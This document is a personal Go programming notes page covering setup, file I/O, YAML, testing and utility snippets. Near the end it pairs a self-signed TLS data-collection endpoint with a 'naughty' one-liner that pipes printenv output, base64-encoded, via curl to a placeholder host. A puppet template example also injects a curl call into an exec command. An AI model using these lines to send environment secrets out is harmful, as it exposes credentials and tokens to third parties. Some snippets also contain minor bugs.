Golang Notes

Installation

Using ASDF

git clone https://github.com/asdf-vm/asdf.git ~/.asdf

Create a global tool-versions file at ~/.tool-versions:

tool_versions_file="$HOME/.tool-versions"

cat > "$tool_versions_file" << EOF
ruby 3.1.2 # not necessary for this example
golang 1.20.5
python 3.11.3 # not necessary for this example
EOF

echo "Created $tool_versions_file"

Add the following to your dotfiles:

# Get setup file from my dotfiles
# Please read the code before executing!
setup_asdf_url="https://raw.githubusercontent.com/l50/dotfiles/main/files/setup_asdf.sh"
curl -s "${setup_asdf_url}" -o "${setup_asdf_path}"

# Get helper func from setup_asdf.sh
# shellcheck source=/dev/null
source "${HOME}/${setup_asdf_path}"
source "$HOME/.asdf/asdf.sh"

# Define language versions from global .tool-versions file
setup_language "golang" "global"
setup_language "python" "global" # not necessary for this example
setup_language "ruby" "global" # not necessary for this example

# Set and export environment variables
GOPATH=$(go env GOPATH)
GOROOT=$(go env GOROOT)
FILES="${HOME}/.dotfiles/files"

export GOPATH GOROOT GOBIN FILES
export PATH=$PATH:$GOPATH/bin:$GOROOT/bin

Resource: https://www.ookangzheng.com/asdf-to-manage-multiple-golang-on-mac

Ubuntu

dl_link='https://dl.google.com/go/go1.15.7.linux-amd64.tar.gz'
wget -c $dl_link -O - | sudo tar -xz -C /usr/local
echo "" >> ~/.bashrc
echo '# Golang exports' >> ~/.bashrc
echo 'export PATH="$PATH:$:/usr/local/go/bin"' >> ~/.bashrc
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc
source ~/.bashrc
# Test:
go version

Resource: https://golang.org/doc/install

MacOS

Install it:

brew install golang

Add the following to ~/.zshrc:

export GOPATH=$HOME/programs/go
# Set GOROOT since we're using brew
export GOROOT="$(brew --prefix golang)/libexec"
# Add go to PATH - so we can run executables from anywhere
export PATH="$PATH:${GOPATH}/bin:${GOROOT}/bin"

Resource: https://medium.com/@krisma/gopath-and-goroot-set-up-in-mac-and-in-vscode-cf86d8503e57

Set Go for VSCode

To use a specific version of go, you can do the following in VSCode:

Open your VSCode settings file depending on what OS you’re using: Windows: %APPDATA%\Code\User\settings.json macOS: $HOME/Library/Application\ Support/Code/User/settings.json Linux: $HOME/.config/Code/User/settings.json
Add the values for your environment:

{
  "go.gopath": "/Users/kresna/.gvm/pkgsets/go1.19.1/global",
  "go.goroot": "/Users/kresna/.gvm/gos/go1.19.1"
}

Resource: https://kresna.dev/vscode-settings-for-golang-through-gvm/

Start New Project

This will create the project:

GIT_ACCT_NAME='l50'
PROJECT_NAME='awesomegoproject'

mkdir -p "${GOPATH}/src/github.com/${GIT_ACCT_NAME}/${PROJECT_NAME}"
cd $_
go mod init "github.com/${GIT_ACCT_NAME}/${PROJECT_NAME}"

Resource: https://golang.org/doc/code.html

Clone project

export GO111MODULE=off
go get github.com/<git account name>/<project name>

You’ll be able to find the code in $GOPATH/src/github.com/<git account name>/<project name>

Resource: https://stackoverflow.com/questions/66284870/go-get-not-downloading-to-src-folder

Get dependencies

Get any dependencies you’ve defined in go code you’ve put in place

go get -v

Install go mod tied to specific tag

COMMIT=83490424629dc4b4c91b39c47bdd18b1b6510743
go get github.com/l50/awsutils@$COMMIT

Install specific package tied to a commit

COMMIT=bb9a29b546caa516e4a2a360a21839920302d628
go get github.com/l50/goutils/v2/file/fileutils@$COMMIT

functionName vs FunctionName

A function that starts with a lowercase letter is only available within the package in which it’s defined.

A function that start with an uppercase letter is available to any packages in your program.

Resource: https://stackoverflow.com/questions/38616687/which-way-to-name-a-function-in-go-camelcase-or-semi-camelcase

Compile binary

go build

String Interpolation

var a string = "Hello"
var b string = "World"
c := fmt.Sprintf("%s %s!", a, b)
fmt.Println(c)

Debugging

Start debugger:

dlv debug

Set breakpoint on line 36 in main.go:

break main.go:36

Set breakpoint on line 8 in anotherGoFile.go:

break anotherGoFile.go:8

Debug program with command line arguments (after compiling)

dlv debug -- -a argument -b another_argument

Print contents of the b variable

print b

Restart the debugging process

Resources: https://github.com/derekparker/delve/issues/178 https://www.youtube.com/watch?v=zgLjVD5ZSOc

Remove empty strings trailing in a slice

func RemoveTrailingEmptyStringsInStringArray(sa []string) []string {
  lastNonEmptyStringIndex := len(sa) - 1
  for i := lastNonEmptyStringIndex; i >= 0; i-- {
    if sa[i] == "" {
      lastNonEmptyStringIndex--
    } else {
      break
    }
  }
  return sa[0 : lastNonEmptyStringIndex+1]
}

Read an input file from a specified path

func readLines(filePath string) ([]string, error) {
  b, err := os.ReadFile(filePath)
  if err != nil {
    return nil, err
  }

  return RemoveTrailingEmptyStringsInStringArray(strings.Split(string(b), "\n"))
    , nil
}

Remove an extension from a string

func removeExtn(input string) string {
 if len(input) > 0 {
  if i := strings.LastIndex(input, "."); i > 0 {
   input = input[:i]
  }
 }
 return input
}

Resource: https://play.golang.org/p/Agak4g66pfb - playground and source

Check if command installed

// Helper function to determine if a command is installed
func CommandExists(cmd string) bool {
 _, err := exec.LookPath(cmd)

 if err != nil {
  fmt.Printf("%v\n", err)
  return false
 }

 return true
}

Resource: https://gist.github.com/miguelmota/ed4ec562b8cd1781e7b20151b37de8a0

Upload file to remote web server

func uploadFile(targetUrl string, fileName string) error {
    bodyBuffer := &bytes.Buffer{}
    bodyWriter := multipart.NewWriter(bodyBuffer)

    fileWriter, err := bodyWriter.CreateFormFile("fileToUpload", payload)
    if err != nil {
        return err
    }

    fh, err := os.Open(fileName)
        if err != nil {
     fmt.Printf("Error opening file: %v\n", err)
     return err
        }

    _, err = io.Copy(fileWriter, fh)
    if err != nil {
        return err
    }

    contentType := bodyWriter.FormDataContentType()
    bodyWriter.Close()

    resp, err := http.Post(
      fmt.Sprintf("http://%s/upload.php", targetUrl), contentType, bodyBuffer)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    respBody, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }

    fmt.Println(resp.Status)
    fmt.Println(string(respBody))
    return nil
}

Resource: Upload file via POST request in golang

Compiling binaries

OSX 64-bit:

env GOOS=darwin GOARCH=amd64 go build -o osx

Linux 64-bit:

env GOOS=linux GOARCH=amd64 go build -o linux

Resources: https://www.digitalocean.com/community/tutorials/how-to-build-go-executables-for-multiple-platforms-on-ubuntu-16-04 https://stackoverflow.com/questions/42706246/how-to-build-executable-with-name-other-than-golang-package

Return multiple values from function

You can natively return multiple values in go. Here’s a basic function example (specifically the declaration and return):

func greatFunc(param1 string, param2 string, param3 string) (bool, string) {
// body omitted
return true, returnString

Resource: https://gobyexample.com/multiple-return-values

Multiline string

    var payload = `  include myfile
}`

Resource: https://play.golang.org/p/kcupXFwzgrZ

Comments

Normal

// comment

Block

/*
comment
*/

Exported function comment template

This particular example is found in my goutils:

// FindExportedFunctionsInPackage finds all exported functions in a given Go
// package by parsing all non-test Go files in the package directory. It returns
// a slice of FuncInfo structs. Each contains the file path and the name of an
// exported function. If no exported functions are found in the package, an
// error is returned.
//
// **Parameters:**
//
// pkgPath: A string representing the path to the directory containing the package
// to search for exported functions.
//
// **Returns:**
//
// []FuncInfo: A slice of FuncInfo structs, each containing the file path and the
// name of an exported function found in the package.
// error: An error if no exported functions are found.

Exported struct comment template

// LogInfo represents parameters used to manage logging throughout
// a program.
//
// **Attributes:**
//
// Dir: A string representing the directory where the log file is located.
// File: An afero.File object representing the log file.
// FileName: A string representing the name of the log file.
// Path: A string representing the full path to the log file.
type LogInfo struct {
  Dir      string
  File     afero.File
  FileName string
  Path     string
}

Exported interface comment template

// File is an interface representing a system file.
//
// **Methods:**
//
// Open: Opens the file, returns a io.ReadCloser and an error.
// Write: Writes contents to the file, returns an error.
// RemoveAll: Removes a file or directory at the specified path, returns an error.
// Stat: Retrieves the FileInfo for the specified file or directory,
// returns an os.FileInfo and an error.
// Remove: Removes the specified file or directory, returns an error.
type File interface {
  Open() (io.ReadCloser, error)
  Write(contents []byte, perm os.FileMode) error
  RemoveAll() error
  Stat() (os.FileInfo, error)
  Remove() error
}

Nested directory creation

path := filepath.Join("/tmp", "foo" ,"bar")
if _, err := os.Stat(path); errors.Is(err, os.ErrNotExist) {

    if err := os.Mkdir(path, os.ModePerm); err != nil {
        return err
    }
}

Resources:

Convert int to str

import "strconv"
strconv.Itoa(123) // "123"

Resource: https://stackoverflow.com/questions/10105935/how-to-convert-an-int-value-to-string-in-go

Check if file contains string

package main

import (
    "fmt"
    "os"
    "strings"
)

func main() {
    var text string
    fmt.Print("Enter text: ")
    // get the sub string to search from the user
    fmt.Scanln(&text)

    // read the whole file at once
    b, err := os.ReadFile("input.txt")
    if err != nil {
        panic(err)
    }
    s := string(b)
    // //check whether s contains substring text
    fmt.Println(strings.Contains(s, text))
}

Resource: https://stackoverflow.com/questions/37194739/how-check-whether-a-file-contains-a-string-or-not

Check if string contains another string

import (
    "strings"
)

srcString := "blablabla"
subString := "bla"
if strings.Contains(srcString, subString) {
    fmt.Printf("%s is present in %s.\n", subString, srcString)
} else {
    fmt.Printf("%s is not present in %s.\n", subString, srcString)
}

Resources: https://stackoverflow.com/questions/45266784/go-test-string-contains-substring https://appdividend.com/2020/04/13/golang-string-contains-function-contains-function-in-go/ https://www.tutorialkart.com/golang-tutorial/golang-check-if-string-contains-a-substring/

Filepath operations

import "fmt"
import "path/filepath"

func main() {
 t := "/etc/init.d/somefile"
 fmt.Printf("base is %q dir is %q is it absolute? %v\n",
  filepath.Base(t),
  filepath.Dir(t),
  filepath.IsAbs(t))
 d, f := filepath.Split(t)

 fmt.Printf("split returns file %q dir %q\n", f, d)
        fmt.Printf("clean it up %q", filepath.Clean("a/b/c/../d//////../../f"))
}

If you need to return a filepath:

d := "/etc/bla/bla2/bla3/"
filepath.Clean(filepath.Join(d, "../")) // /etc/bla/bla2

Get the directory of a path

fmt.Println(filepath.Dir("/root/.ansible/site.yml"))

Playground: https://play.golang.org/p/nlcH1G3x5Vs

Get the last element of a path

base := filepath.Base("/home/dennis/IdeaProjects/Playground/hello.go")
fmt.Println("Base:", base)
# returns hello.go

Resource: https://ispycode.com/GO/Path-and-Filepath/Last-element-of-path

Expand tilde to home dir

usr, _ := user.Current()
dir := usr.HomeDir

if path == "~" {
    // In case of "~", which won't be caught by the "else if"
    path = dir
} else if strings.HasPrefix(path, "~/") {
    // Use strings.HasPrefix so we don't match paths like
    // "/something/~/something/"
    path = filepath.Join(dir, path[2:])
}

Resource: https://stackoverflow.com/questions/17609732/expand-tilde-to-home-directory

Create file with string content

filename := "file.txt"
name := "bob"

content := fmt.Sprintf("Stuff and things go into this string for %s\n", name)
f, err := os.Create(filename)

if err != nil {
    fmt.Printf("Failed to create file: %v\n", err)
    return err
}

defer f.Close()

_, err = f.WriteString(content)

if err != nil {
    fmt.Printf("Failed to write content to %s: %v\n", filename, err)
    return err
}

return nil

Resource: https://zetcode.com/golang/writefile/

Read template file

The person that put this together is a hero (Gustavo Bittencourt).

package main

import (
  "log"
  "os"
  "path"
  "text/template"
)

type Command struct {
  ClassName string
  CmdName   string
  Cmd       string
}

func main() {
  command := Command{
    ClassName: "my_cmd",
    CmdName:   "cmd",
    Cmd:       "curl target.com:8001/asdf",
  }

  t := template.New("puppetModule.tmpl")

  t, err := t.ParseFiles(path.Join("templates", "puppetModule.tmpl"))

  if err != nil {
    log.Fatal("Parse: ", err)
  }

  err = t.Execute(os.Stdout, command)
  if err != nil {
    log.Fatal("Execute: ", err)
  }
}

puppetModule.tmpl:

class {{.ClassName}} {
  exec { '{{.CmdName}}':
    path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
    command => '{{.Cmd}}'
  }
}

Resource: https://stackoverflow.com/questions/32388777/error-when-creating-a-template-and-then-parsing-from-files

Update all go modules recursively

go get -u ./...

Resource: https://stackoverflow.com/questions/67201708/go-update-all-modules

Go get cert errors fix

Obviously, this is not ideal (observe the -insecure flag):

go get -u -v -insecure "${TARGET_GO_PROJ}"

From go help get: -u: Look for updates to existing packages -v: Verbose progress and debug output

Resource: https://github.com/golang/go/issues/18519

Generate random int in a range

import (
  "fmt"
  "math/rand"
  "time"
)

func randInt(min int, max int) int {
  return min + rand.Intn(max-min)
}

func main() {
  start := 1
  finish := 6
  rand.Seed(time.Now().UTC().UnixNano())
  fmt.Printf("%v", rand.Intn(finish-start)+start)
}

Resources: https://stackoverflow.com/questions/44659343/how-to-choose-a-random-number-from-the-range https://golang.cafe/blog/golang-random-number-generator.html

Get lowercase version of string

import "strings"
strings.ToLower("Gopher")

Resource: https://stackoverflow.com/questions/10411538/how-do-i-convert-a-string-to-a-lower-case-representation

Copy file

import (
  "os"
  "log"
)

 func CpFile(src string, dst string) {
   input, err := os.ReadFile(src)
   if err != nil {
     log.Println(err)
     return
   }

   err = os.WriteFile(dst, input, 0644)
   if err != nil {
     log.Println("Error creating", dst)
     log.Println(err)
     return
   }
 }

Resource: https://opensource.com/article/18/6/copying-files-go

Determine OS being used

package main

import (
 "fmt"
 "runtime"
)

func main() {
 if runtime.GOOS == "linux" {
  fmt.Println("You are running on Linux")
 } else if runtime.GOOS == "darwin" {
  fmt.Println("You are running on OSX")
 } else if runtime.GOOS == "windows" {
  fmt.Println("You are running on Windows")
 } else {
  fmt.Println("Unsupported OS detected")
 }
}

Playground: https://play.golang.org/p/ULd8sMpy0dt Resource: https://golangcode.com/detect-if-code-is-running-on-windows-at-runtime/

Go get private repo

git config --global url."git@github.com:".insteadOf "https://github.com/"

Resource: https://bialon.net/post/how-to-go-get-private-repos/

Get Working Directory

func Gwd() string {
 dir, err := os.Getwd()
 if err != nil {
  log.Fatalln(err)
 }
 return dir
}

Resource: https://gist.github.com/arxdsilva/4f73d6b89c9eac93d4ac887521121120

Install a specific binary version

go get github.com/some/tool@v1.0.1

Resource: https://stackoverflow.com/questions/53368187/go-modules-installing-go-tools

Testing

Testing Harness

package some_test

import (
 "testing"
)

func TestSomething(t *testing.T) {
 tests := []struct{
  name string
  // input and output go here
 }{
  {
   name: "something"
   // input and output go here
  },
  {
   name: "another thing"
   // input and output go here
  },
 }

 for _, tc := range testCases {
  t.Run(tc.name, func(t *testing.T) {
   // call function or method being tested
   // check outcome
  })
 }
}

Resource: https://youtu.be/LEnXBueFBzk?t=231

Example Tests

You can provide examples of how to use your code by creating a test with Example prefix:

package docs_test

import (
  "fmt"
  "log"
  "os"
  "strings"

  "github.com/l50/goutils/v2/docs"
  "github.com/l50/goutils/v2/fileutils"
)

func ExampleFixCodeBlocks() {
  input := `Driver represents an interface to Google Chrome using go.

It contains a context.Context associated with this Driver and
Options for the execution of Google Chrome.

` + "```go" + `
browser, err := cdpchrome.Init(true, true)

if err != nil {
    fmt.Printf("failed to initialize a chrome browser: %v", err)
    return
}
` + "```"
 language := "go"

 // Create a temporary file
 tmpfile, err := os.CreateTemp("", "example.*.md")
 if err != nil {
    fmt.Printf("failed to create temp file: %v", err)
    return
 }

 defer os.Remove(tmpfile.Name()) // clean up

 // Write the input to the temp file
 if _, err := tmpfile.Write([]byte(input)); err != nil {
   fmt.Printf("failed to write to temp file: %v", err)
   return
 }

 if err := tmpfile.Close(); err != nil {
   fmt.Printf("failed to close temp file: %v", err)
   return
 }

 // Run the function
 file := fileutils.RealFile(tmpfile.Name())
 if err := docs.FixCodeBlocks(file, language); err != nil {
   fmt.Printf("failed to fix code blocks: %v", err)
   return
 }

 // Read the modified content
 content, err := os.ReadFile(tmpfile.Name())
 if err != nil {
   fmt.Printf("failed to read file: %v", err)
   return
 }

 // Print the result
 fmt.Println(strings.TrimSpace(string(content)))
 // Output:
 // Driver represents an interface to Google Chrome using go.
 //
 // It contains a context.Context associated with this Driver and
 // Options for the execution of Google Chrome.
 //
 // ```go
 // browser, err := cdpchrome.Init(true, true)
 //
 // if err != nil {
 //     fmt.Printf("failed to initialize a chrome browser: %v", err)
 //     return
 // }
 // ```
}

Resource: https://go.dev/blog/examples

Run tests without caching

As of 1.12, you can no longer use GOCACHE=off, i.e.

GOCACHE=off go test -v -race ./...

However, you can use -count=1. For example:

go test -v -count=1 -race ./...

Resources: https://github.com/golang/go/issues/26809 https://github.com/golang/go/issues/22758

Run unit tests in a directory

This particular example will only run the tests in the prometheus directory:

DIR_WITH_TESTS=prometheus
go test -v -race "./.../${DIR_WITH_TESTS}"

Resource: https://stackoverflow.com/questions/19200235/golang-tests-in-sub-directory

Run specific unit test

This example runs TestGwd:

go test -v -run ^TestGwd$ github.com/l50/goutils

Unit test private functions

An private function requires a little hack to write unit tests for. The steps are as follows:

Create a export_test.go file in which you will create an exported variable that points to the unexported function. For example:
```
package <package in which the unexported function exists>
var Backup = backup
```
Create your normal _test file and be sure to reference the exported variable you created in export_test.go

Resource: https://medium.com/@robiplus/golang-trick-export-for-test-aa16cbd7b8cd

Run go tests concurrently and time them

#!/bin/bash

set -e

logfile="test_log.txt"
rm -f "$logfile"

for d in ./*/ ; do
    if [[ $d != ./.*/ ]]; then
        (
            echo "Running tests in: $d"
            start=$(date +%s)
            go test -failfast -race -v "$d..." > "${d//\//_}.log" 2>&1
            end=$(date +%s)
            duration=$((end - start))
            echo "Tests in $d took $duration seconds." >> "${d//\//_}.log"
        ) &
    fi
done

# Wait for all background tasks to finish
wait

# Combine all the individual log files into one
cat ./*.log >> "$logfile"

# Remove individual log files
rm ./*.log

Slices

A slice is essentially an array in Golang.

String to Slice

cmd := "puppetserver ca list --all"
strArr := strings.Fields(cmd)
fmt.Println(strArr[0])
// Will print: puppetserver

Resource: https://stackoverflow.com/questions/13737745/split-a-string-on-whitespace-in-go

Convert string slice to string

strings.Join(arr []string, separator string) string

Resource: https://stackoverflow.com/questions/41756412/golang-convert-type-string-to-string

Check if string in slice

func stringInSlice(a string, list []string) bool {
 for _, b := range list {
  if b == a {
   return true
  }
 }
 return false
}

Example usage:

if stringInSlice("bla", blaSlice) {
   fmt.Println("Gotem!")
}

Resources: https://stackoverflow.com/questions/15323767/does-go-have-if-x-in-construct-similar-to-python https://play.golang.org/p/j6hP7lygR33 - hands-on example https://play.golang.org/p/NoucaeldZoO - another hands-on example

Write slice to file

package main

import (
    "fmt"
    "log"
    "os"
)

func main() {
    f, err := os.Create("data.txt")

    if err != nil {
        log.Fatal(err)
    }

    defer f.Close()

    words := []string{"sky", "falcon", "rock", "hawk"}

    for _, word := range words {

        _, err := f.WriteString(word + "\n")

        if err != nil {
            log.Fatal(err)
        }
    }

    fmt.Println("done")
}

Resource: https://zetcode.com/golang/writefile/

Get everything but first element of slice

range Arr[1:]

Resource: https://stackoverflow.com/questions/37429248/skip-first-element-of-an-array-in-golang

Convert bytes slice to a string

s := string([]byte{65, 66, 67, 226, 130, 172})
fmt.Println(s) // ABC€

Resource: https://yourbasic.org/golang/convert-string-to-byte-slice/

Convert strings slice to string

strings.Join(arr []string, separator string) string

Resource: https://stackoverflow.com/questions/41756412/golang-convert-type-string-to-string

File to Slice

Reads an input file into a slice

func fileToSlice(fileName string) ([]string, error) {
    b, err := os.ReadFile(fileName)
 if err != nil {
  return nil, err
 }
 return strings.Split(string(b), "\n"), nil
}

Resource: https://socketloop.com/tutorials/golang-read-a-file-into-an-array-or-slice-example

Go Mod

Create new go.mod file:

go mod init

Ensure go.mod matches source code in the module, adds missing module requirements for all packages, and removes requirements that don’t provide relevant packages:

go mod tidy

Resources: https://blog.golang.org/migrating-to-go-modules https://medium.com/@fonseka.live/getting-started-with-go-modules-b3dac652066d https://golang.org/ref/mod#go-mod-tidy

Write to file

m := "stuff to write in file"
err = os.WriteFile("./file.txt", m, 0644)
if err != nil {
 log.Printf("error: %v", err)
}
package main

import (
    "fmt"
    "log"
    "os"
)

func main() {

    f, err := os.Create("data.txt")

    if err != nil {
        log.Fatal(err)
    }

    defer f.Close()

    _, err2 := f.WriteString("old falcon\n")

    if err2 != nil {
        log.Fatal(err2)
    }

    fmt.Println("done")
}

Resource: https://zetcode.com/golang/writefile/

Append to multiple files

af, err := os.OpenFile(asnsFile,os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
 log.Printf("error: %v", err)
}

irf, err := os.OpenFile(ipRangesFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
 log.Printf("error: %v", err)
}

defer af.Close()
defer irf.Close()

if _, err := af.WriteString("stuff\n"); err != nil {
    log.Fatalf("Error writing to %v: %v", af, err)
}

if _, err := irf.WriteString("More stuff!\n"); err != nil {
    log.Fatalf("Error writing to %v: %v", irf, err)
}

Unmarshal YAML to struct - example 1

Begin by using https://mengzhuo.github.io/yaml-to-go/ to create a struct for the yaml file, for example:

type ansible []struct {
 Name   string   `yaml:"name"`
 Hosts  string   `yaml:"hosts"`
 Become bool     `yaml:"become"`
 Roles  []string `yaml:"roles"`
}

Once you’ve done that, read the yaml file and unmarshal it into the struct:

b, err := os.ReadFile("./ansible.yml")
if err != nil {
 log.Fatal(err)
}

d := ansible{}
err = yaml.Unmarshal(b, &d)
if err != nil {
 log.Fatal(err)
}
log.Printf("%v", d)

If you make modifications to the yaml, marshal it and write it back to the file:

d[0].Roles = append(d[0].Roles, "hello2")
log.Printf("%v", d)

m, err := yaml.Marshal(&d)
if err != nil {
 log.Fatalf("error: %v", err)
}

err = os.WriteFile("./ansible_modified.yml", m, 0644)
if err != nil {
 log.Fatalf("error: %v", err)
}

Get contents of YAML file

// GetYamlFile returns the input YAML file as a byte slice.
func GetYamlFile(yamlFile string) ([]byte, error) {
    yfile, err := os.ReadFile(yamlFile)
    if err != nil {
        return nil, err
    }

    return yfile, nil
}

yamlFileLoc := "file.yaml"

yfile, err := GetYamlFile(yamlFileLoc)
if err != nil {
    log.WithError(err).Error("Failed to read the input yaml file.")
    os.Exit(1)
}

Print contents of YAML file

// PrintYaml prints the contents of the input YAML file.
func PrintYaml(yamlFile []byte) {
    fmt.Printf("---\n%s\n", string(yamlFile))
}

yfile, err := GetYamlFile(yamlFileLoc)
if err != nil {
    log.WithError(err).Error("Failed to read the input yaml file.")
    os.Exit(1)
}

PrintYaml(yfile)

Unmarshal YAML to struct - example 2

You can figure out the struct format by using this site.

type Animal struct {
    Name              string `yaml:"name"`
    Description       string `yaml:"description"`
    Species           string `yaml:"species"`
}

// GetAnimalMap returns the contents of the input animal YAML
// file as a map of Animals.
func GetAnimalMap(yamlFile []byte) (map[string]Animal, error) {
    animalList := make(map[string]Animal)

    if err := yaml.Unmarshal(yamlFile, &animalList); err != nil {
        return nil, err
    }

    return animalList, nil
}

animalMap, err := GetAnimalMap(yfile)
if err != nil {
    log.WithError(err)
    os.Exit(1)
}

// Print unmarshalled YAML
for k, v := range animalList {
    fmt.Printf("Name: %s\n", v.Name)
    fmt.Printf("Description: %s\n", v.Description)
    fmt.Printf("Species: %s\n\n", v.Species)
}

Resources: https://github.com/go-yaml/yaml https://gist.github.com/ka2n/4457eacdb6c986624eb29cc02fe8d31c https://play.golang.org/p/nYZCWIi2hxa

Multi line variable assignment

var data2 = `
---
- hosts: all
  remote_user: root
  roles:
  - common

- hosts: lb_servers
  remote_user: root
  roles:
  - lb-nginx

- hosts: backend_servers
  remote_user: root
  roles:
  - tomcat

- hosts: memcached_servers
  remote_user: root
  roles:
  - memcached
`

Resource: https://github.com/ansible/ansible-examples/blob/master/tomcat-memcached-failover/site.yml

Set

// Create new empty set
set := make(map[string]bool)

// Add new element to the set
set["bla"] = true

// Print the elements of the set
for k := range set {
    fmt.Println(k)
}

// Add item to set if it's not already there
if !set["bla"] {
    set["bla"] = true
}

Resources: https://yourbasic.org/golang/implement-set/ https://play.golang.org/p/T2TR_Aib-H7

Regular expressions

Check if string matches regex

file := "ansible.cfg.old"
matched, _ := regexp.MatchString(`ansible.cfg$`, file)
// Return false
fmt.Println(matched)

Resources: https://yourbasic.org/golang/regexp-cheat-sheet/ https://play.golang.org/p/UUqSQHCqMsZ

Check if string is valid hostname

This will match valid hostnames as per RFC 1123.

line := "hostname.example.com"
validHostname, _ := regexp.MatchString(`
^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9]
[A-Za-z0-9\-]*[A-Za-z0-9])$`, line)
if validHostname {
    fmt.Println(line)
}

Resources: https://stackoverflow.com/questions/106179/regular-expression-to-match-dns-hostname-or-ip-address https://play.golang.org/p/Mhckhn4jj3r

String interpolation with filepath

err := os.Rename(filepath.FromSlash(fmt.Sprintf("content/post/%s", file)), noPublishFolder)
check(err)

Resource: https://channaly.medium.com/string-interpolation-in-golang-ecb3bcb2d600

Update package on go.dev

curl https://sum.golang.org/lookup/github.com/eduncan911/podcast@v1.4.1

Resource: https://stackoverflow.com/questions/60217151/how-to-release-updated-packages-for-go-mod-pkg-go-dev-consumers

Print go representation of a value

This is very helpful if you’re trying to do something like copying a big slice into the The Go Playground, or want to get a sense of how something looks in go.

fmt.Printf("%#v", bigSlice)

Resource: https://stackoverflow.com/questions/24489384/how-to-print-the-values-of-slices

Convert relative to absolute path

// Operating from /home/user/dir
absFilePath = ""
path, err := filepath.Abs(Cli.FilePath)
if err != nil {
    log.Printf("Error getting absolute path from %s", path)
}

absFilePath = path

Run goscorecard locally

Get the CLI:

go get github.com/gojp/goreportcard/cmd/goreportcard-cli

Navigate to the directory you want to run it on, and then run:

goreportcard-cli -v

Resource: https://github.com/gojp/goreportcard

Validate input emails

package validators

import (
 "fmt"
 "net"
 "regexp"
 "strings"
)

// IsEmailValid checks an input email to determine
// if it is a valid email address.
// Code was found at: https://golangcode.com/validate-an-email-address/
func IsEmailValid(email string) bool {
 var emailRegex = regexp.MustCompile("^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$")

 fmt.Printf("Validating email: %s\n", email)

 if len(email) < 3 && len(email) > 254 {
  return false
 }
 if !emailRegex.MatchString(email) {
  return false
 }
 parts := strings.Split(email, "@")
 mx, err := net.LookupMX(parts[1])
 if err != nil || len(mx) == 0 {
     fmt.Printf("Error, invalid email: %s", email)
  return false
 }
 return true
}

Resource: https://golangcode.com/validate-an-email-address/

Get the type of an object

var x interface{} = r.FormValue("email")
xType := fmt.Sprintf("%T", x)
fmt.Println(xType) // "string"

Resource: https://yourbasic.org/golang/find-type-of-object/

List of Response Codes

Can be found here: https://golang.org/src/net/http/status.go

Show supported functions

fooType := reflect.TypeOf(result)
for i := 0; i < fooType.NumMethod(); i++ {
    method := fooType.Method(i)
    fmt.Println(method.Name)
}

Resource: https://stackoverflow.com/questions/21397653/how-to-dump-methods-of-structs-in-golang

Pretty Print a Request

import (
 "fmt"
 "net/http/httputil"
)

requestDump, err := httputil.DumpRequest(request, true)
if err != nil {
    fmt.Println(err)
}

fmt.Println(string(requestDump)

Resource: https://medium.com/doing-things-right/pretty-printing-http-requests-in-golang-a918d5aaa000

POST endpoint with self signed cert

This can be used to decode base64 input from a POST request and output it to a file.

Interestingly, as I was building this in the first place, I found that using r.ParseForm was giving me different base64 than if I ran the output through httputil.DumpRequest.

Suffice it to say, the final solution is suited to a very particular case, and you should definitely never even remotely consider running it in production EVER.

Generate the self signed cert and key:

openssl req \
    -x509 \
    -nodes \
    -new \
    -keyout server.key \
    -out server.crt \
    -days 3650 \
    -subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=yourhostname.com"

main.go:

package main

import (
 b64 "encoding/base64"
 "fmt"
 "os"
 "log"
 "net/http"
 "net/http/httputil"
 "path/filepath"
 "regexp"
 "time"
)

func genFileName() string {
 t := time.Now()
 return t.Format(time.RFC3339) + ".txt"
}

func endpoint(w http.ResponseWriter, r *http.Request) {
 // Make sure input is a POST request
 if r.Method != http.MethodPost {
  w.WriteHeader(http.StatusMethodNotAllowed)
  fmt.Fprintf(w, "invalid_http_method")
  return
 }

 // Dump the request because we're not getting the right base64 value
 // when we do things properly with r.ParseForm()
 requestDump, err := httputil.DumpRequest(r, true)
 if err != nil {
  fmt.Println(err)
 }
        // For debugging purposes:
 //fmt.Println(string(requestDump))

 dataRegex := regexp.MustCompile(`stuff=(.*)`)
 groups := dataRegex.FindStringSubmatch(string(requestDump))
 decoded, err := b64.StdEncoding.DecodeString(groups[1])
 if err != nil {
  fmt.Println("decode error:", err)
  return
 }
        // print data when it comes in
 fmt.Println(string(decoded))

        // write the decoded data to a file
 filename := genFileName()
 err = os.WriteFile(filepath.Join("data", filename), []byte(decoded), 0644)
 if err != nil {
  log.Fatalf("error: %v", err)
 }

 fmt.Fprintf(w, "Data received, thanks!")
}

func main() {
 port := ":8080"
 mux := http.NewServeMux()
 mux.HandleFunc("/data", endpoint)
 log.Fatal(http.ListenAndServeTLS(port, "server.crt", "server.key", mux))
}

Send data to it:

echo "stuff=bla" | curl -X POST -k https://yourhostname.com:8080/data -d @-

For example, if you’re being naughty, you might do something like:

env_data=$(printenv | base64 -w 0)
echo "stuff=$env_data" | curl -X POST -k https://yourhostname.com:8080/data -d @-

If you’re being naughty and thinking about operational security, you can use the client certificate instead of the -k flag. More details on how to do that here.

Resources:

Initial example show how to use date for the filename Time formatting examples [More time formatting examples]https://flaviocopes.com/go-date-time-format/ TLS with a self signed cert example How to process form data Another example of how to process form data Base64 example

Output to a file

func outputToFile(filepath string, content []byte,
  permissions os.FileMode) bool {
 err := os.WriteFile(filepath, content, permissions)
 if err != nil {
  log.Printf("error: %v", err)
  return false
 }
 return true
}

success := outputToFile(filepath.Join("~/ubuntu/output.txt", stufftowrite, 0644))
if success == true {
  fmt.Println("Wrote output to file successfully!")
}

Cobra

Install

GITHUB_USER=l50
APP_NAME=myapp
mkdir "${APP_NAME}"
cd $_
